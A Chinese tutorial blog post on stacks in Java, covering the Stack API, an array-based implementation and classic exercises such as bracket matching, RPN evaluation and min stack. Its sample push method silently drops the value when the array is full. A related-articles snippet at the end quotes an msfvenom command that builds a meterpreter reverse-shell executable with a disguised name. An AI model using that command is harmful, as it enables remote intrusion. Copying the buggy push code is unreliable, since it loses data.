【数据结构】栈的使用|模拟实现|应用|栈与虚拟机栈和栈帧的区别

目录

一、栈(Stack)

1.1 概念

1.2 栈的使用

1.3 栈的模拟实现

1.4 栈的应用场景

1. 改变元素的序列

2. 将递归转化为循环

3. 括号匹配

4. 逆波兰表达式求值

5. 出栈入栈次序匹配

6. 最小栈

1.5 概念区分

一、栈(Stack)

1.1 概念

栈：一种特殊的线性表，其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈顶，另一端称为栈底。栈中的数据元素遵守后进先出LIFO（Last In First Out）的原则（也就是先进后出）

压栈：栈的插入操作叫做进栈/压栈/入栈，入数据在栈顶

出栈：栈的删除操作叫做出栈。出数据在栈顶

1.2 栈的使用

方法功能
Stack()构造一个空的栈
E push(E e)将e入栈，并返回e
E pop()将栈顶元素出栈并返回（有返回值）
E peek()获取栈顶元素
int size()获取栈中有效元素个数
boolean empty()检测栈是否为空
public static void main(String[] args) {Stack<Integer> s = new Stack<>();s.push(1);s.push(2);s.push(3);s.push(4);System.out.println(s.size()); // 获取栈中有效元素个数---> 4System.out.println(s.peek()); // 获取栈顶元素---> 4s.pop(); // 4出栈，栈中剩余1 2 3，栈顶元素为3System.out.println(s.pop()); // 3出栈，栈中剩余1 2 栈顶元素为3if (s.empty()) {System.out.println("栈空");} else {System.out.println(s.size());}}

1.3 栈的模拟实现

从上图中可以看到，Stack继承了Vector，Vector和ArrayList类似，都是动态的顺序表，不同的是Vector是线程安全的

栈的模拟实现有两种：一种是数组实现，另一种是链表（单链表或者双链表）实现，不管是哪种，都得保证入栈 出栈操作的时间复杂度为O（1）

下面这个是数组模拟实现栈的方式：

import java.util.Arrays;//数组实现栈
public class MyStack {public int[] elem;//定义数组public int uesdSize;//记录当前数组的有效元素的个数，同时可以当作下标使用public static final int DEFAULT_CAPACITY = 10;//默认容量大小public MyStack() {this.elem = new int[DEFAULT_CAPACITY];}//判断栈是否满了public boolean isFull() {return uesdSize == elem.length;//这里不能写成DEFAULT_CAPACITY，DEFAULT_CAPACITY被final修饰不能变}//压栈 入栈public void push(int val) {if (isFull()) {this.elem = Arrays.copyOf(elem,2*elem.length);//扩容为原数组} else {elem[uesdSize++] = val;}}//判空public boolean isEmpty() {return uesdSize == 0;}//出栈public int pop() {if (isEmpty()) {throw new EmptyStackException("栈为空...");}int oldVal = elem[uesdSize-1];uesdSize--;elem[uesdSize] = 0;return oldVal;}//获取栈顶元素public int peek() {if (isEmpty()) {throw new EmptyStackException("栈为空...");}return elem[uesdSize-1];}
}

如果采用单向链表实现栈，那么为了保证入栈出栈的时间复杂度为O（1）

入栈只能采用头插法，尾插法需要遍历链表直到尾结点，这样就不满足时间复杂度为O（1）

出栈也只能采用头删法，可能大家会想用last来标记尾结点，从而不用遍历，但是这样在删除了一次以后，尾节点还得去遍历找前一个结点，还是不满足时间复杂度为O（1）

如果采用双向链表实现栈，那么头插尾插都是可以的

1.4 栈的应用场景

1. 改变元素的序列

1. 若进栈序列为 1,2,3,4 ，进栈过程中可以出栈，则下列不可能的一个出栈序列是（）

A: 1,4,3,2         B: 2,3,4,1         C: 3,1,4,2         D: 3,4,2,1

2.一个栈的初始状态为空。现将元素1、2、3、4、5、A、B、C、D、E依次入栈，然后再依次出栈，则元素出栈的顺序是（ ）。

A: 12345ABCDE  B: EDCBA54321  C: ABCDE12345  D: 54321EDCBA

答：

1.由于栈的特性是先进后出，C选项中：当1，2，3都已经入栈后，3出栈，然后栈顶为2，不可能直接就让1进行出栈，所以错误

2.仍然考察的是栈的特性是先进后出，先进栈的元素最后出栈，那么也就是B

2. 将递归转化为循环

比如：逆序打印链表

// 递归方式void printList(Node head){if(null != head){printList(head.next);System.out.print(head.val + " ");}}

这里循环的方式就类似上面的第二题，入栈元素出栈也就相当于逆序 

// 循环方式void printList(Node head){if(null == head){return;}Stack<Node> s = new Stack<>();// 将链表中的结点保存在栈中Node cur = head;while(null != cur){s.push(cur);cur = cur.next;}// 将栈中的元素出栈while(!s.empty()){System.out.print(s.pop().val + " ");}}
3. 括号匹配

首先思考一下为什么这个题需要用到栈这个数据结构，什么时候会用到这个数据结构？

一般和顺序有关的就需要考虑栈

这题的思路：

首先要明白这个题目不是偶数就一定是匹配的，eg：[（ ] ）

 只要是左括号就入栈，遇到右括号就看是否匹配

以下三种情况是不匹配的：

（1）右括号不匹配 就直接返回false 

（2）字符串还没遍历完成 但是栈是空的 此时也是不匹配  eg：（））

（3）字符串遍历完了 但是栈不为空 此时也是不匹配  eg：（）（

class Solution {public boolean isValid(String s) {Stack<Character> stack = new Stack<>();//遍历字符串for(int i=0;i<s.length();i++) {char ch = s.charAt(i);if(ch=='{'||ch=='['||ch == '(') {//左括号入栈stack.push(ch);} else {//右括号if(stack.isEmpty()) {//栈为空return false;} //栈不为空，右括号判断匹配char ch2 = stack.peek();if(ch2=='{'&&ch=='}'||ch2=='['&&ch==']'||ch2=='('&&ch==')') {stack.pop();} else {return false;}}}//遍历完了，但是栈不为空if(!stack.isEmpty()) return false;return true;//return stcak.isEmpty() 可以直接代替前三行}
}

注意：

（1) Stack<Character> stack = new Stack<>();这里的类型为Character

  (2) ch2为左括号，ch为右括号

（3）怎么判断匹配，一组一组符合即可

4. 逆波兰表达式求值

看这题之前，我们先来学习一下什么是前中后缀表达式，中缀表达式 转 后缀表达式 ，最后再来看怎么根据后缀表达式计算结果

（1）中缀表达式：

        操作符以中缀形式位于运算数中间（如：3+2），是我们日常通用的算术和逻辑公式表示方法

（2）后缀表达式：

        又称逆波兰式（Reverse Polish Notation - RPN），操作符以后缀形式位于两个运算数后（如：3+2的后缀表达形式就是3 2 +）

（3）前缀表达式：

        又称波兰式（Polish Notation），操作符以前缀形式位于两个运算数前（如：3+2的前缀表达形式就是+ 3 2）

手工 如何将中缀表达式 转 后缀表达式？

以a+b*c+(d*e+f)*g为例，将其转为 后缀表达式

（1）按先加减后乘除的原则给表达式加括号，得到的就是 （ (a+(b*c) )+( ( (d*e)+f )*g ) ）

（2）由内到外把括号去掉，并把运算符放在要去掉括号的后面，也就是 abc*+  de*f+ g* +

计算器的逻辑就是这样的，会把我们输入的带有括号的表达式转为不带括号的表达式，因为计算器也不知道括号是啥

 在这里代码题考的最多的就是根据后缀表达式计算结果，那么思路是什么呢？

将后缀表达式中的数字依次入栈，   遇到运算数，就弹出栈顶的两个元素

第一个数字作为右操作数，第二个数作为左操作数，然后把 数字2  运算数 数字1 计算得到的结果入栈 （这个顺序不能改变）

然后继续这个过程，直到栈中只剩下最后一个元素，直接返回即可

代码实现：

class Solution {public int evalRPN(String[] tokens) {Stack<Integer> stack = new Stack<>();for(int i=0;i<tokens.length;i++) {String str = tokens[i];if(!isOperatons(str)) {//不是运算符，也就是数字//将字符串转为数字int val = Integer.valueOf(str);//将数字入栈stack.push(val);} else {//是运算符//弹除两个栈顶元素，第一个为右操作数int num2 = stack.pop();int num1 = stack.pop();//计算switch(str) {case "+":stack.push(num1+num2);break;case "-":stack.push(num1-num2);break; case "*":stack.push(num1*num2);break; case "/":stack.push(num1/num2);break;}}}return stack.pop();}//判断这个字符串是不是一个运算符private boolean isOperatons(String str) {if(str.equals("+")||str.equals("-")||str.equals("*")||str.equals("/")) {return true;} else {return false;}}
}

注意：

（1）入栈需要把字符串变为数字  int val = Integer.valueOf(str);

（2）弹除两个栈顶元素，第一个为右操作数，第二个为左操作数

5. 出栈入栈次序匹配

 思路：

（1)遍历pushV数组 ，把pushV数组的元素放到栈当中

（2）每次放一个元素，就得看和popV的元素是否一样

（3）如果不一样，i++    一样的话，j++，并将栈顶元素弹出（i是遍历pushA数组的，j是遍历popA数组的）

直到 遍历完popV 结束

如下图 当pushV栈顶元素和popV[j]一样，我们是需要将pushA的栈顶元素出栈的，不然无法判断下一个元素是否相等

public class Solution {public boolean IsPopOrder (int[] pushV, int[] popV) {Stack<Integer> stack = new Stack();int j =0;for(int i=0;i<pushV.length;i++) {stack.push(pushV[i]);//如果pushV栈顶元素和popV[j]一样while(!stack.isEmpty()&&j<popV.length&&stack.peek()==popV[j]) {j++;stack.pop();}}if(j<popV.length) {return false;}return true;//return j == popV.length;  //这里行可以代替前三行//return stack.isEmpty;   //或者这样写也行}
}

注意：当pushV栈顶元素和popV[j]一样时，可能存在 j下标越界 ， 栈被弹空了的情况，所以需要特别考虑

6. 最小栈

 思路：

这题一个栈无法得到最小元素的（如果最小元素不在栈顶，那么时间复杂度就不满足O（1），违背了题目条件），那么就考虑用两个栈

（1)普通栈Stack用来存储数据 ， 最小栈minStack用来存最小元素

（2）普通栈一定要存有元素

（3）最小栈 如果是第一次存放数据 直接放 ，否则需要和最小栈的栈顶元素去比较 <=的时候才存入（这里特别注意一下=的时候，看图解释：这个时候如果右边的-3不放，当普通栈pop，最小栈也pop，那么最小值就不会是-3，而是-2，这显然不符合）

class MinStack {Stack<Integer> stack;Stack<Integer> minStack;//构造方法：初始化两个栈public MinStack() {stack = new Stack<>();minStack = new Stack<>();}public void push(int val) {stack.push(val);//如果第一次放（也就是minStack为空），直接放即可if(minStack.isEmpty()) {minStack.push(val);} else {//不是第一次放，那就只有val<= minStack栈顶元素才可以放if(val<= minStack.peek()) {minStack.push(val);}}}public void pop() {//根据题目不用考虑空栈int val = stack.pop();//如果普通栈pop出的元素就是最小，那么minStack也需要popif(minStack.peek()==val) {minStack.pop();}}//获取栈顶元素public int top() {return stack.peek();}//获取最小值public int getMin() {return minStack.peek();}
}

1.5 概念区分

栈、虚拟机栈、栈帧有什么区别呢？

栈：一种先进后出的数据结构

虚拟机栈：JVM的一块内存

栈帧：调用方法时，给方法开辟的一块内存

本次内容就到此啦，欢迎评论区或者私信交流，觉得笔者写的还可以，或者自己有些许收获的，麻烦铁汁们动动小手，给俺来个一键三连，万分感谢 !

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/287134.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

SpringBoot之分层解耦以及 IOCDI的详细解析

SpringBoot之分层解耦以及 IOCDI的详细解析

### 3.2 分层解耦 刚才我们学习过程序分层思想了&#xff0c;接下来呢&#xff0c;我们来学习下程序的解耦思想。 解耦&#xff1a;解除耦合。 #### 3.2.1 耦合问题 首先需要了解软件开发涉及到的两个概念&#xff1a;内聚和耦合。 - 内聚&#xff1a;软件中各个功能模块内…
阅读更多...
3d抄数逆向建模服务造纸机械叶轮三维扫描曲面建模-CASAIM

3d抄数逆向建模服务造纸机械叶轮三维扫描曲面建模-CASAIM

在造纸机械中&#xff0c;叶轮是重要的组成部分&#xff0c;造纸机械叶轮在使用过程中会承受较大外力的摩擦&#xff0c;长期使用容易导致外观变形破损&#xff0c;从而降低叶轮的工作效率和精度。因此&#xff0c;定期生产制作同类型的造纸机械叶轮产品&#xff0c;以用于替换…
阅读更多...
YOLOv5改进 | SPPF | 将RT-DETR模型AIFI模块和Conv模块结合替换SPPF（全网独家改进）

YOLOv5改进 | SPPF | 将RT-DETR模型AIFI模块和Conv模块结合替换SPPF（全网独家改进）

一、本文介绍 本文给大家带来是用最新的RT-DETR模型中的AIFI模块来替换YOLOv5中的SPPF。RT-DETR号称是打败YOLO的检测模型&#xff0c;其作为一种基于Transformer的检测方法&#xff0c;相较于传统的基于卷积的检测方法&#xff0c;提供了更为全面和深入的特征理解&#xff0c…
阅读更多...
2023.12.17Linux基础命令

2023.12.17Linux基础命令

ls -l详细信息 -a所有 springcloud微服务 ctrlalt鼠标左键&#xff0c;从虚拟机中回到本机 执行这两条语句 拿到远程主机的ip地址之后就要试图连接 要实现连接&#xff0c;就要有远程连接的软件 ssh和http一样&#xff0c;也是一种协议 SSH 是 Secure Shell&am…
阅读更多...
GD32F4中断向量查询

GD32F4中断向量查询

中断向量表 中断向量对应函数 __Vectors DCD __initial_sp ; Top of StackDCD Reset_Handler ; Reset HandlerDCD NMI_Handler ; NMI HandlerDCD HardFault_Handler ;…
阅读更多...
客户关系管理系统 crm

客户关系管理系统 crm

系统开发环境以及版本 操作系统&#xff1a; Windows_7集成开发工具&#xff1a; Eclipse EE_4.7编译环境&#xff1a;JDK_1.8Web服务器&#xff1a;Tomcat_9.0数据库&#xff1a;MySQL_5.7.23 系统框架 spring框架springmvc框架mybatis框架Logback日志框安全验证框架maven框架…
阅读更多...
std::mem_fn函数

std::mem_fn函数

第一次遇到这个函数&#xff0c;记录一下 std::mem_fn 是 C 标准库 <functional> 头文件中提供的函数模板&#xff0c;用于生成成员函数的函数对象。它允许将成员函数包装成可调用对象&#xff0c;用于传递给标准库算法、函数对象、以及一些支持可调用对象的函数。 templ…
阅读更多...
车载软件易受攻击，如何规避嵌入式软件漏洞

车载软件易受攻击，如何规避嵌入式软件漏洞

在汽车开发中&#xff0c;汽车网络安全至关重要&#xff0c;特别是现在汽车软件变得日益互联。阅读本文&#xff0c;了解如何预防汽车网络安全漏洞。 为什么汽车网络安全很重要&#xff1f; 如今&#xff0c;互联汽车的解决方案远不只有简单的从A点到B点。通过实时数据共享、应…
阅读更多...
kali-WinRaR高级配置

kali-WinRaR高级配置

文章目录 操作环境一、下载WinRaR二、准备工作三、文件名处理四、开始监听 操作环境 kali windows 一、下载WinRaR http://www.winrar.com.cn/ 二、准备工作 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.64.129 LPORT4444 -f exe -o YouGuess.exe┌──(…
阅读更多...
【论文阅读】FreeU: Free Lunch in Diffusion U-Net

【论文阅读】FreeU: Free Lunch in Diffusion U-Net

paper&#xff1a;https://arxiv.org/abs/2309.11497 code&#xff1a;GitHub - ChenyangSi/FreeU: FreeU: Free Lunch in Diffusion U-Net 1.intro 贡献&#xff1a; •研究并揭示了U-Net架构在扩散模型中去噪的潜力&#xff0c;并确定其主要骨干主要有助于去噪&#xff0c…
阅读更多...
C++第一讲之初入C++

C++第一讲之初入C++

注&#xff1a;本文是对于学完C语言再学C同学的讲解&#xff0c;主要补充C与C语言不同之处&#xff0c;如果你没学过C语言&#xff0c;不建议观看本文。 一.C简介 我们都知道C语言是过程性语言&#xff08;强调的是实现过程&#xff09;&#xff0c;即对计算机语言要处理的两…
阅读更多...
C语言--字符函数与字符串函数

C语言--字符函数与字符串函数

大家好&#xff0c;我是残念&#xff0c;希望在你看完之后&#xff0c;能对你有所帮助&#xff0c;有什么不足请指正&#xff01;共同学习交流 本文由&#xff1a;残念ing 原创CSDN首发&#xff0c;如需要转载请通知 个人主页&#xff1a;残念ing-CSDN博客&#xff0c;欢迎各位…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023